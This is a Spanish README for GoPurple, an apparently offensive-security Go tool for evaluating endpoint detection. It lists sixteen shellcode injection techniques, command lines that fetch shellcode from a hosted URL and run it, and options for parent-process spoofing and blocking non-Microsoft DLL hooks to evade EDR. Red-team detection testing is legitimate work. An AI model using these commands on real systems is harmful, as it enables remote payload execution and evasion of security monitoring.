
Otro ejecutor de shellcode más que consiste en diferentes técnicas para evaluar las capacidades de detección de las soluciones de seguridad de endpoints.
Este proyecto es una simple colección de diversas técnicas de inyección de shellcode, con el objetivo de agilizar el proceso de evaluación de detección en endpoints, además de desafiarme a mí mismo a adentrarme en el mundo de Golang.
1 - Requiere go instalado.
2 - Compila la aplicación desde el directorio del proyecto: go build. Establece GOOS=windows si el sistema de compilación no es Windows.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
Argumentos de línea de comandos del programa
-b string
modo de bloqueo de DLL (nonms/onlystore para QueueUserAPC)
-p int
ID del proceso en el que inyectar shellcode
-prog string
programa en el que inyectar
-t string
técnica de inyección de shellcode a utilizar:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL que aloja el shellcode
Es necesario generar un shellcode, esto se puede hacer usando herramientas como msfvenom o shad0w. Luego, el shellcode debe ser alojado para poder descargarlo y ejecutarlo de forma remota en la máquina remota. Para mayor claridad, los siguientes demos ilustran diferentes formas de usar la herramienta.
1 - Inyección de shellcode usando el método BananaPhone + Shad0w como generador de shellcode

2 - Inyección de shellcode usando la técnica QueueUserAPC + Shad0w como generador de shellcode + suplantación del ID del proceso padre (explorer como ID padre) + lanzamiento de proceso mediante un padre suplantado que contiene el shellcode (calc) + protección del proceso contra hooks de DLL no firmadas, de modo que solo las DLL firmadas por Microsoft puedan engancharse al proceso.

3 - Inyección de shellcode usando CreateFiber + msfvenom como generador de shellcode

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog program -a processargument (ej: C:\Windows\System32\WindowsPowerShell\v1.0) y processargument (ej: Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll (nonms o onlystore) (QueueUserAPC)
nonms = solo las DLL firmadas por Microsoft pueden engancharse al proceso
onlystore = solo los procesos de aplicaciones de la Tienda Microsoft pueden engancharse al proceso
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14 - gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15 - gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16 - gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Todo el crédito va para las siguientes personas por sus increíbles investigaciones, herramientas e inspiración:
ne0nd0g: La mayor parte de este proyecto ha sido tomada de go-shellcode
spotheplanet: El artículo me inspiró a convertir el método a Golang
_d00mfist: Gran implementación de la técnica QueueUserAPC en Golang
c__sto: Técnica BananaPhone
batsec: El gran shad0w
chiragsavla94: Inspirado de ProcessInjection
S4R1N: Por introducir las nuevas ejecuciones de código alternativas
Gracias a brimston3 por su apoyo y contribución
Este proyecto está hecho únicamente con fines educativos y de pruebas éticas. El uso de GoPurple para atacar objetivos sin el consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. El desarrollador no asume ninguna responsabilidad y no es responsable de ningún uso indebido o daño causado por este programa.